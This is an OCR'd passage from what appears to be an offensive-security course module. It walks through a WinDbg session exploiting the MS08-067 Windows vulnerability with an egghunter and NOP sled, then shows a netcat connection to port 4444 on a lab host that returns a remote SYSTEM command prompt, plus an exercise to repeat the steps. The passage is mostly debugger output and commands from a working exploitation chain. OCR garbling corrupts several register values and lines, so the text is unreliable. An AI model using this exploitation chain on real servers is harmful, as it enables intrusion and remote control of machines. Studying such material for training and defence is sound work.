0ax=90909090 ebx=012d005c ecx=012df4b2 edx=012df508 esi=012df4b6 edi=012df464

eip=7c808ab0 esp=012df47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246
ntdll!RtlFormatMessageEx+0x132:

7c808ab0 ffe2 jmp edx {012df508}

0:013> p

€ax=90909090 ebx=012d005c ecx=012df4b2 edx=012df508 esi=012df4b6 edi=012df464
eip=012d£f508 esp=012df4d7c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246
012d£f508 ebd0 jmp 012df4da

0:013> p

ModLoad: 72060000 72079000 C:\WINDOWS\System32\xactsrv.dll
cax=90909090 ebx=012d005c ecx=012df4b2 edx=012d£508 esi=012df4b6 edi=012df464

eip=012dfida esp=012dfd7c ebp=41414141 iopl=0 nv up el pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246
012df4da 90 nop

V. P OEDT, oallis

0:013> bp 012dfdfc

0:013> g
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ModLoad: 5f8c0000 5£8c7000 C:\WINDOWS\System32\NETRAP.dl1l

Breakpoint 1 hit
eax=6230306e ebx=012d005c ecx=012df478 edx=000b4el0 esi=012df4b6 edi=000b4el8

eip=012dfdfc esp=012dfd47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000246
012df4fc ffe7 jmp edi {000b4el8}

0:013> p

eax=6230306e ebx=012d005¢c ecx=012df478 edx=000b4el0 esi=012df4b6 edi=000bdel8
eip=000b4el8 esp=012dfd47c ebp=41414141 iopl=0 nv up el pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246
000b4el8 90 nop

0:013> g

(324.378) : Unknown exception - code 000006d9 (first chance)

root@bt # nc 172.16.30.2 4444
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C: \WINDOWS\system32>

Final Exploit Windbg Session

1) Repeat the required steps in order to obtain a remote shell on the vulnerable server.

In this module we have successfully exploited the MS08-067 vulnerability by utilizing an egghunter, and
getting final code execution in a limited buffer space environment. Our work is not done yet though. In
order to successfully exploit this vulnerability in a real world scenario, we will have to overcome a few

more hurdles.
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